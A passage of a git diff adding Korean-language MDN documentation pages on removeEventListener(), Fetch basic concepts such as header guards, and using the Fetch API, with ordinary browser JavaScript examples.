+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td>
+ <td>{{Spec2("DOM2 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<h2 id="Polyfill_to_support_older_browsers">Polyfill to support older browsers</h2>
+
+<p><code>addEventListener()</code> and <code>removeEventListener()</code> are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing the use of <code>addEventListener()</code> and <code>removeEventListener()</code> in implementations that do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+ var oListeners = {};
+ function runListeners(oEvent) {
+ if (!oEvent) { oEvent = window.event; }
+ for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+ if (oEvtListeners.aEls[iElId] === this) {
+ for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+ break;
+ }
+ }
+ }
+ Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+ if (oListeners.hasOwnProperty(sEventType)) {
+ var oEvtListeners = oListeners[sEventType];
+ for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+ if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+ }
+ if (nElIdx === -1) {
+ oEvtListeners.aEls.push(this);
+ oEvtListeners.aEvts.push([fListener]);
+ this["on" + sEventType] = runListeners;
+ } else {
+ var aElListeners = oEvtListeners.aEvts[nElIdx];
+ if (this["on" + sEventType] !== runListeners) {
+ aElListeners.splice(0);
+ this["on" + sEventType] = runListeners;
+ }
+ for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+ if (aElListeners[iLstId] === fListener) { return; }
+ }
+ aElListeners.push(fListener);
+ }
+ } else {
+ oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+ this["on" + sEventType] = runListeners;
+ }
+ };
+ Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+ if (!oListeners.hasOwnProperty(sEventType)) { return; }
+ var oEvtListeners = oListeners[sEventType];
+ for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+ if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+ }
+ if (nElIdx === -1) { return; }
+ for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+ if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+ }
+ };
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener()")}}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/ko/web/api/fetch_api/basic_concepts/index.html b/files/ko/web/api/fetch_api/basic_concepts/index.html
new file mode 100644
index 0000000000..45e59484de
--- /dev/null
+++ b/files/ko/web/api/fetch_api/basic_concepts/index.html
@@ -0,0 +1,66 @@
+---
+title: Fetch basic concepts
+slug: Web/API/Fetch_API/Basic_concepts
+translation_of: Web/API/Fetch_API/Basic_concepts
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{draft}}</p>
+
+<div class="summary">
+<p><a href="/ja/docs/Web/API/Fetch_API">Fetch</a> 는 네트워크 통신을 포함한 리소스를 가지고 오기 위한 인터페이스를 제공해주는 보다 새로운 API입니다. <a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> 와 기능은 같지만 확장 가능하며 효과적으로 구성되어 있습니다. 이 문서에서는 Fetch API의 기본 컨셉들중 일부를 소개합니다.</p>
+</div>
+
+<div class="note">
+<p>이 문서는 수시로 갱신됩니다 。보다 나은 설명이 필요한 Fetch 컨셉트를 발견한 경우에는、<a href="https://discourse.mozilla-community.org/c/mdn">MDN 디스커션 포럼</a>이나 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>(#mdn room)에 연락주시기 바랍니다.</p>
+</div>
+
+<h2 id="In_a_nutshell" name="In_a_nutshell">개념</h2>
+
+<p>Fetch의 핵심은 인터페이스의 추상화입니다. HTTP {{domxref("Request")}}, {{domxref("Response")}}, {{domxref("Headers")}}, {{domxref("Body")}}의 Payload, 그리고 비동기 리소스 Request의 초기화를 위한{{domxref("GlobalFetch.fetch","global fetch")}}메서드가 이 대상입니다. HTTP의 주요 컴포넌트가 자바스크립트 오브젝트로써 추상화되어있기 때문에 다른 API에서 이러한 기능들을 사용하기 쉽게 해줍니다.</p>
+
+<p><a href="/ja/docs/Web/API/ServiceWorker_API">Service Worker</a>는 Fetch를 사용하는 API의 일례입니다.</p>
+
+<p>Fetch는 이러한 Request의 비동기적인 성질을 한걸음 진화시킨 {{jsxref("Promise")}} 베이스의 API입니다.</p>
+
+<h2 id="Guard" name="Guard">가드</h2>
+
+<p>가드는 {{domxref("Headers")}} 객체의 기능으로, 헤더가 사용하고 있는 장소에 알맞게 <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>response</code>, <code>none</code>값을 얻습니다.</p>
+
+<p>{{domxref("Headers.Headers","Headers()")}}의 {{glossary("constructor")}}를 사용하고 있는 새로운  {{domxref("Headers")}}객체가 생성될 때, 가드는 기본 설정일때 <code>none</code>에 위치됩니다. {{domxref("Request")}}객체나 {{domxref("Response")}}객체가 생성되었을 때, 관계지어진 {{domxref("Headers")}}객체의 가드는 아래의 명세와 같이 설정되어 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">새로운 객체형</th>
+ <th scope="col">생성자</th>
+ <th scope="col">관계한{{domxref("Headers")}} 객체 가드의 설정</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td rowspan="2">{{domxref("Request")}}</td>
+ <td>{{domxref("Request.Request","Request()")}}</td>
+ <td><code>request</code></td>
+ </tr>
+ <tr>
+ <td><code>no-cors의</code> {{domxref("Request.mode","mode")}}를 설정한 {{domxref("Request.Request","Request()")}}</td>
+ <td><code>request-no-cors</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">{{domxref("Response")}}</td>
+ <td>{{domxref("Response.Response","Response()")}}</td>
+ <td><code>response</code></td>
+ </tr>
+ <tr>
+ <td>{{domxref("Response.error","error()")}}메서드나 {{domxref("Response.redirect","redirect()")}} 메서드</td>
+ <td><code>immutable</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>헤더 가드는 헤더의 콘텐츠를 변경하는 {{domxref("Headers.set","set()")}}{{domxref("Headers.delete","delete()")}},{{domxref("Headers.append","append()")}}메서드에 영향을 끼칩니다.가드는 <code>immutable</code>의 {{domxref("Headers")}}를 수정하려고 한 경우, <code>TypeError</code>를 반환합니다. 예외의 경우도 있는데 다음과 같은 상황에서는 동작합니다.</p>
+
+<ul>
+ <li>가드가 <code title="">request</code>에서 헤더의 이름이{{Glossary("forbidden header name")}}가 아닌 경우</li>
+ <li>가드가<code title="">request-no-cors에서 헤더의 </code><var>name또는 </var><var>value값이</var> {{Glossary("simple header")}}인 경우</li>
+ <li>가드가 <code title="">response</code>며 헤더의 이름이 {{Glossary("forbidden response header name")}}가 아닌 경우</li>
+</ul>
diff --git a/files/ko/web/api/fetch_api/fetch의_사용법/index.html b/files/ko/web/api/fetch_api/fetch의_사용법/index.html
new file mode 100644
index 0000000000..403c340413
--- /dev/null
+++ b/files/ko/web/api/fetch_api/fetch의_사용법/index.html
@@ -0,0 +1,419 @@
+---
+title: Using Fetch
+slug: Web/API/Fetch_API/Fetch의_사용법
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a>를 이용하면 Request나 Response와 같은 HTTP의 파이프라인을 구성하는 요소를 조작하는것이 가능합니다. 또한 {{domxref("GlobalFetch.fetch","fetch()")}} 메서드를 이용하는 것으로 비동기 네트워크 통신을 알기쉽게 기술할 수 있습니다.</p>
+
+<p>이전에 이러한 기능을  {{domxref("XMLHttpRequest")}}에서 제공하고 있었습니다. Fetch는 이러한 API의 대체제로 {{domxref("ServiceWorker_API", "Service Workers")}}같은 기술로 간단히 이용하는것이 가능합니다. 또한 CORS나 HTTP확장같은  HTTP에 관련한 개념을 모아 정의하고 있습니다.</p>
+
+<p>Fetch의 기본 스펙은<code>jQuery.ajax()</code>와 기본적으로 두가지가 다르다는 사실에 유념해야합니다.</p>
+
+<ul>
+ <li><code>fetch()</code>로 부터 반환되는 Promise 객체는 <strong>HTTP error 상태를 reject하지 않습니다.</strong> HTTP Statue Code가 404나 500을 반환하더라도요. 대신 ok 상태가 false인 resolve가 반환되며, 네트워크 장애나 요청이 완료되지 못한 상태에는 reject가 반환됩니다.</li>
+ <li>보통 <code>fetch</code>는 <strong>쿠키를 보내거나 받지 않습니다.</strong>  사이트에서 사용자 세션을 유지 관리해야하는 경우 인증되지 않는 요청이 발생합니다. 쿠키를 전송하기 위해서는 자격증명(credentials) 옵션을 반드시 설정해야 합니다.<br>
+ <a href="https://github.com/whatwg/fetch/pull/585">2017년 8월 25일</a> 이후. 기본 자격증명(credentials) 정책이 <code>same-origin</code> 으로 변경되었습니다. 파이어폭스는 61.0b13 이후 변경되었습니다.</li>
+</ul>
+
+<p>기본적인 fetch는 누구라도 알기쉽고 간단하게 작성할 수 있습니다. 아래의 코드를 봐주시기 바랍니다.</p>
+
+<pre class="brush: js notranslate"><code>fetch('http://example.com/movies.json')
+ .then(function(response) {
+ return response.json();
+ })
+ .then(function(myJson) {
+ console.log(JSON.stringify(myJson));
+ });</code></pre>
+
+<p>네트워크에서 JSON 파일을 가져 와서 콘솔에 인쇄합니다. 간단한 <code>fetch()</code> 사용 흐름은 인수 한개(가져올 자원의 경로)를 가져오고 응답을 포함하는 약속 ({{domxref ( "Response")}} 개체)을 반환하는 것입니다.</p>
+
+<p>이것은 단순한 HTTP Response이며, 실제 JSON이 아닙니다. response 객체로부터 사진을 가져오기 위해서는 {{domxref("Body.json","json()")}} 메서드를 사용할 필요가 있습니다. ({{domxref("Body")}}의 믹스인 (역주:php의 트레이드와 같은것입니다. )으로 정의되어, 이것은 {{domxref("Request")}} 객체와 {{domxref("Response")}} 객체의 쌍방에 구현되어 있습니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: http Request와 http Response의 Body mixin은 Body 컨텐츠를 다른 mine 타입으로 사용하는 비슷한 메서드를 제공하고 있습니다.  상세한 내용은 {{anch("Body")}} 섹션을 참고해 주시기 바랍니다.</p>
+</div>
+
+<p>Fetch Reqeust는 검색된 리소스로부터의 지시가 아닌 <a href="/ko/docs/Security/CSP/CSP_policy_directives">CSP</a>의<code>connect-src</code>의 디렉티브(directive)에 의해 제어됩니다.</p>
+
+<h3 id="리퀘스트의_옵션_적용">리퀘스트의 옵션 적용</h3>
+
+<p><code>fetch()</code> 메서드에 두번째 파라미터를 적용하는것도 가능합니다. <code>init</code> 오브젝트는 다른 여러 세팅을 컨트롤 할 수 있게 해줍니다.</p>
+
+<p>모든 설정 가능한 옵션의 상세 설명은 {{domxref("GlobalFetch.fetch","fetch()")}}를 참고해주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>// Example POST method implementation:
+
+postData('http://example.com/answer', {answer: 42})
+ .then(data =&gt; console.log(JSON.stringify(data))) // JSON-string from `response.json()` call
+ .catch(error =&gt; console.error(error));
+
+function postData(url = '', data = {}) {
+ // Default options are marked with *
+ return fetch(url, {
+ method: 'POST', // *GET, POST, PUT, DELETE, etc.
+ mode: 'cors', // no-cors, cors, *same-origin
+ cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+ credentials: 'same-origin', // include, *same-origin, omit
+ headers: {
+ 'Content-Type': 'application/json',
+ // 'Content-Type': 'application/x-www-form-urlencoded',
+ },
+ redirect: 'follow', // manual, *follow, error
+ referrer: 'no-referrer', // no-referrer, *client
+ body: JSON.stringify(data), // body data type must match "Content-Type" header
+ })
+ .then(response =&gt; response.json()); // parses JSON response into native JavaScript objects
+}</code>
+</pre>
+
+<h3 id="자격_증명credentials이_포함된_Request_요청">자격 증명(credentials)이 포함된 Request 요청</h3>
+
+<p>자격 증명이 포함된 인증서를 보내도록 하려면 <code>fetch()</code> 메서드에 <code>credentials: 'include'</code>를 추가하도록 합니다. 이것은 cross-origin 요청에서도 사용됩니다.</p>
+
+<pre class="notranslate"><code>fetch('https://example.com', {
+ credentials: 'include'
+})</code></pre>
+
+<p>요청하려는 URL이 호출 스크립트와 동일한 origin을 가지고 있을때만 자격증명을 전송하려면 <code>credentials: 'same-origin'</code>를 추가해 주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+ credentials: 'same-origin'
+})</code></pre>
+
+<p>브라우저의 보안을 유지하는것 대신 자격증명을 포함하지 않는것을 원한다면 <code>credentials: 'omit'</code>를 작성해 주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>fetch('https://example.com', {
+ credentials: 'omit'
+})</code>
+</pre>
+
+<h3 id="Uploading_JSON_data">Uploading JSON data</h3>
+
+<p>POST프로토콜로 JSON인코딩된 데이터를 보내기 위해 {{domxref("GlobalFetch.fetch","fetch()")}}를 사용합니다.</p>
+
+<pre class="notranslate"><code>var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+ method: 'POST', // or 'PUT'
+ body: JSON.stringify(data), // data can be `string` or {object}!
+ headers:{
+ 'Content-Type': 'application/json'
+ }
+}).then(res =&gt; res.json())
+.then(response =&gt; console.log('Success:', JSON.stringify(response)))
+.catch(error =&gt; console.error('Error:', error));</code></pre>
+
+<h3 id="Uploading_a_file">Uploading a file</h3>
+
+<p><code>&lt;input type="file" /&gt;</code> input엘리먼트, {{domxref("FormData.FormData","FormData()")}}, {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}를 사용하여 파일을 업로드 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>var formData = new FormData();
+var fileField = document.querySelector('input[type="file"]');
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+ method: 'PUT',
+ body: formData
+})
+.then(response =&gt; response.json())
+.catch(error =&gt; console.error('Error:', error))
+.then(response =&gt; console.log('Success:', JSON.stringify(response)));</code></pre>
+
+<h3 id="Uploading_multiple_files">Uploading multiple files</h3>
+
+<p><code>&lt;input type="file" multiple /&gt;</code> input엘리먼트와{{domxref("FormData.FormData","FormData()")}}, {{domxref("GlobalFetch.fetch","fetch()")}}를 사용하여 파일 다중업로드를 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>var formData = new FormData();
+var photos = document.querySelector('input[type="file"][multiple]');
+
+formData.append('title', 'My Vegas Vacation');
+for (var i = 0; i &lt; photos.files.length; i++) {
+ formData.append('photos', photos.files[i]);
+}
+
+fetch('https://example.com/posts', {
+ method: 'POST',
+ body: formData
+})
+.then(response =&gt; response.json())
+.then(response =&gt; console.log('Success:', JSON.stringify(response)))
+.catch(error =&gt; console.error('Error:', error));</code></pre>
+
+<h3 id="문서_파일을_열단위로_처리하기">문서 파일을 열단위로 처리하기</h3>
+
+<p>응답하는 곳에서 읽는 덩어리들은 줄 단위로 깔끔하게 떨어지지 않으며 문자열이 아니라 Uint8Arrys(8비트 부호 없는 정수)입니다. 만약 텍스트 파일은 fetch하고 이것을 줄 단위로 처리하고자 한다면, 이런 복잡함을 다루는 것은 사용자에게 달려있습니다. 아래의 예시는 line iterator를 생성하여 처리하는 한가지 방법을 보여주고 있습니다. (간단하게 하기위해, 텍스트는 UTF-8이라고 가정하며,  fetch errors를 다루지 않는다고 합시다).</p>
+
+<pre class="notranslate"><code>async function* makeTextFileLineIterator(fileURL) {
+ const utf8Decoder = new TextDecoder("utf-8");
+ let response = await fetch(fileURL);
+ let reader = response.body.getReader();
+ let {value: chunk, done: readerDone} = await reader.read();
+ chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+ let re = /\n|\r|\r\n/gm;
+ let startIndex = 0;
+ let result;
+
+ for (;;) {
+ let result = re.exec(chunk);
+ if (!result) {
+ if (readerDone) {
+ break;
+ }
+ let remainder = chunk.substr(startIndex);
+ ({value: chunk, done: readerDone} = await reader.read());
+ chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+ startIndex = re.lastIndex = 0;
+ continue;
+ }
+ yield chunk.substring(startIndex, result.index);
+ startIndex = re.lastIndex;
+ }
+ if (startIndex &lt; chunk.length) {
+ // last line didn't end in a newline char
+ yield chunk.substr(startIndex);
+ }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+ processLine(line);
+}</code></pre>
+
+<h3 id="fetch의_성공_여부를_체크">fetch의 성공 여부를 체크</h3>
+
+<p>한가지 예를 들자면, 네트워크 error가 발생했을때 또는 CORS 가 서버단에서 잘못 설정되어있다면 {{domxref("GlobalFetch.fetch","fetch()")}} promise 객체는 {{jsxref("TypeError")}} 메시지와 함께 반려 할것입니다. 비록 이 현상은 보통 허가 이슈나 그와 비슷한 것을 의미할지라도, 404 는 네트워크 error를 구성하지는 않습니다.  성공적인 <code>fetch()</code> 를 체크하는 정확한 방법은 promise 객체가 해결되었는지를 체크하는 것을 포함합니다. 그리고 {{domxref("Response.ok")}} property 가 "true"의 값을 가지고 있는지 확인하는 것입니다. 코드는 아래와 같이 구현될겁니다:</p>
+
+<pre class="notranslate"><code>fetch('flowers.jpg').then(function(response) {
+ if(response.ok) {
+ return response.blob();
+ }
+ throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+ var objectURL = URL.createObjectURL(myBlob);
+ myImage.src = objectURL;
+}).catch(function(error) {
+ console.log('There has been a problem with your fetch operation: ', error.message);
+});</code></pre>
+
+<h3 id="request_객체를_fetch로_전달">request 객체를 fetch로 전달</h3>
+
+<p><code>fetch()</code>를 사용해 요청한 리소스의 경로를 전달하는것 대신{{domxref("Request.Request","Request()")}} 생성자를 사용해 Request 객체를 작성하여 <code>fetch()</code> 메서드를 인수로 전달하는것도 가능합니다.</p>
+
+<pre class="notranslate"><code>var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+ headers: myHeaders,
+ mode: 'cors',
+ cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+ return response.blob();
+}).then(function(myBlob) {
+ var objectURL = URL.createObjectURL(myBlob);
+ myImage.src = objectURL;
+});</code></pre>
+
+<p><code>fetch()</code>메서드의 인수와 똑같은 인수를 <code>Request()</code>객체에 전달하여 적용하는것이 가능합니다. 또한 Request 객체의 클론을 생성하기 위해 이미 존재하는 Request 객체를 전달하는것도 가능합니다.</p>
+
+<pre class="brush: js notranslate">var anotherRequest = new Request(myRequest,myInit);</pre>
+
+<p>이것은 Request와 Resposne의 Body를 하나만 사용하고 있으므로 사용성이 높습니다.필요하면 <code>init</code> 객체를 변화시켜 Response나 Request를 재사용할 수 있도록 복사합니다. The copy must be made before the body is read, and reading the body in the copy will also mark it as read in the original request.</p>
+
+<div class="note">
+<p><strong>노트</strong>: {{domxref("Request.clone","clone()")}} 메서드를 사용해 Request 객체의 클론을 생성할 수 있습니다. 다른 카피 메서드와 약간 다른 의미가 있습니다. 이전 요청의 body가 이미 읽어들여진 경우 전자는  실패하지만 <code>clone()</code>메서드는 실패하지 않습니다. 이 기능은 Response와 동일합니다.</p>
+</div>
+
+<h2 id="Headers">Headers</h2>
+
+<p>{{domxref("Headers")}} 인터페이스에서  {{domxref("Headers.Headers","Headers()")}} 생성자를 사용해 헤더 객체를 생성할 수 있습니다. 헤더 객체는 Key와 Value로 이루어진 간단한 multi-map입니다.</p>
+
+<pre class="brush: js notranslate">var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");</pre>
+
+<p>똑같이 배열을 전달하거나 객체 리터럴을 생성자에 전달하는것으로 생성할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">myHeaders = new Headers({
+ "Content-Type": "text/plain",
+ "Content-Length": content.length.toString(),
+ "X-Custom-Header": "ProcessThisImmediately",
+});</pre>
+
+<p>다음과 같은 코드로 헤더의 내용을 들여다 볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]</pre>
+
+<p>이러한 몇몇개의 조작법은 {{domxref("ServiceWorker_API","ServiceWorkers")}}에서밖에 도움되지 않지만 헤더를 조작하기 위해서 보다 나은 API를 제공하고 있습니다.</p>
+
+<p>모든 Header 메서드는 유효한 HTTP 헤더가 전달되지 않았을 경우 TypeError을 반환합니다. immutable Guard(다음 섹션 참고)가 설정되어 있는 경우에도 TypeError를 반환합니다. TypeError를 반환하지 않고 실패하는 경우도 있습니다. 다음 예를 참고해주시기 바랍니다.</p>
+
+<pre class="brush: js notranslate">var myResponse = Response.error();
+try {
+ myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+ console.log("은행이 아니잖아요!!");
+}</pre>
+
+<p>헤더의 좋은 사용법으로 처리하기 전에 컨텐츠 타입으로 올바른가의 여부를 판별하는 방법이 있습니다. 예를 들어,</p>
+
+<pre class="notranslate"><code>fetch(myRequest).then(function(response) {
+ var contentType = response.headers.get('content-type');
+ if(contentType &amp;&amp; contentType.includes('application/json')) {
+ return response.json();
+ }
+ throw new TypeError("Oops, we haven't got JSON!");
+ })
+ .then(function(json) { /* process your JSON further */ })
+ .catch(function(error) { console.log(error); });</code></pre>
+
+<h3 id="가드">가드</h3>
+
+<p>헤더는 리퀘스트를 송신할 수 있으며 리스폰스를 수신할 수 있습니다. 어떤 정보를 수정할 수 있게 하기 위해, 혹은 수정하기 위해 여러 종류의 제어가 가능합니다. 헤더는 guard 프로퍼티는 이것을 가능하게 합니다. 가드는 Request나 Response에 포함되지 않지만  헤더 객체에서 조작 가능한 여러 메서드들의 사용 가능 여부에 영향을 미칩니다.</p>
+
+<p>가드의 설정값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>none</code>: 기본치</li>
+ <li><code>request</code>: ({{domxref("Request.headers")}})에서 얻은 헤더 객체에 대한 가드</li>
+ <li><code>request-no-cors</code>: {{domxref("Request.mode")}} <code>no-cors</code>에 생성된 ({{domxref("Request.headers")}})에서 사용할 수 있는 값만 헤더에 확보함</li>
+ <li><code>response</code>: ({{domxref("Response.headers")}}) Response에서 얻은 객체애 대한 가드</li>
+ <li><code>immutable</code>: 대개 ServiceWorker에서 사용됨. 헤더의 설정을 읽기 전용으로 바꿈.</li>
+</ul>
+
+<div class="note">
+<p><strong>메모</strong>: <code>request</code>에서 가드된 헤더의<code>Content-Length</code> 헤더는 추가나 변경할 수 없는 가능성이 있습니다.  마찬가지로 리스폰스 헤더에 <code>Set-Cookie</code>를 삽입하는것은 불가능합니다.ServiceWorker는 동기 Reponse를 추출하여 쿠키를 설정합니다.</p>
+</div>
+
+<h2 id="Response_객체">Response 객체</h2>
+
+<p>위에서 본 바와 같이 {{domxref("Response")}} 인스턴스들은 fetch() promise가 resolve됬을때 반환됩니다.</p>
+
+<p>아래는 어떤 리스폰스 객체라도 공통으로 사용되는 리스폰스 프로퍼티입니다.</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — HTTP Status의 정수치, 기본값 200</li>
+ <li>{{domxref("Response.statusText")}} — HTTP Status 코드의 메서드와 일치하는 문자열, 기본값은 "OK"</li>
+ <li>{{domxref("Response.ok")}} 상술한 프로퍼티에서 사용한 HTTP Status 코드가 200에서 299중 하나임을 체크하는 값, {{domxref("Boolean")}}를 반환</li>
+</ul>
+
+<p>Response 객체는 개발자의 손에 의해 동적으로 만드는것이 가능합니다. 이 방법은 {{domxref("ServiceWorker_API", "ServiceWorkers")}}내에서 활약할 때가 많습니다. 예를들어 Request를 획득했을 때  {{domxref("FetchEvent.respondWith","respondWith()")}}메서드에 의해 커스텀된 리스폰스를 반환하는 경우가 있습니다.</p>
+
+<pre class="brush: js notranslate">var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+ event.respondWith(
+ new Response(myBody, {
+ headers: { "Content-Type" : "text/plain" }
+ })
+  );
+});</pre>
+
+<p>{{domxref("Response.Response","Response()")}} 생성자는 파라미터로써 두개의 객체를 전달하는것이 가능합니다.첫번째는 Response Body, 두번째는 초기화 객체({{domxref("Request.Request","Request()")}}의 클론을 생성하는 방법과 비슷합니다.) 입니다.</p>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>付記</strong>: 정적 메서드 {{domxref("Response.error","error()")}}는 단순한 에러 Response를 반환합니다. {{domxref("Response.redirect","redirect()")}} 메서드 또한 지정한 URL에 리다이렉트할 Response를 반환합니다. 이것들은 Service Workers에서만 사용되고 있습니다.</p>
+</div>
+
+<h2 id="Body">Body</h2>
+
+<p>Request, Response 둘다 Body를 가지고 있습니다. body는 아래에서 기술한 타입들 중 하나의 인스턴스입니다.</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array같은 TypedArray)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>문자열</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>{{domxref("Body")}} 믹스인은 {{domxref("Request")}}나{{domxref("Response")}}에 구현되어, 콘텐츠를 추출하기 위해 아래의 메서드가 정의되어 있습니다. 이러한 메서드들은 전부 최종적으로 요청으로 반환된 값을 내장하고 있는 promise를 반환합니다.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>이것들은 비 텍스트 데이터를 XHR보다 훨씬 간단하게 사용하는것을 도와줍니다.</p>
+
+<p>Request 바디는 body 파라미터를 전달하는 것으로 설정할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+ method: "POST",
+ body: form
+})</pre>
+
+<p>Both request and response (and by extension the <code>fetch()</code> function), will try to intelligently determine the content type. A request will also automatically set a <code>Content-Type</code> header if none is set in the dictionary.</p>
+
+<h2 id="Feature_detection특징_추출">Feature detection(특징 추출)</h2>
+
+<p>Fetch API support는{{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} or {{domxref("GlobalFetch.fetch","fetch()")}} on the {{domxref("Window")}} or {{domxref("Worker")}}로 존재여부를 확인함으로써 추출할 수 있습니다. 예를 들어:</p>
+
+<pre class="notranslate"><code>if (window.fetch) {
+ // run my fetch request here
+} else {
+ // do something with XMLHttpRequest?</code></pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Polyfill</h2>
+
+<p>Fetch를 지원하지 않는 브라우저를 위해 미지원 브라우저를 위한 <a href="https://github.com/github/fetch">Fetch Polyfill</a>이 지원되고 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_2">Browser compatibility</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><span>관련항목</span></h2>
+
+<div id="compat-mobile"></div>
+
+<ul>
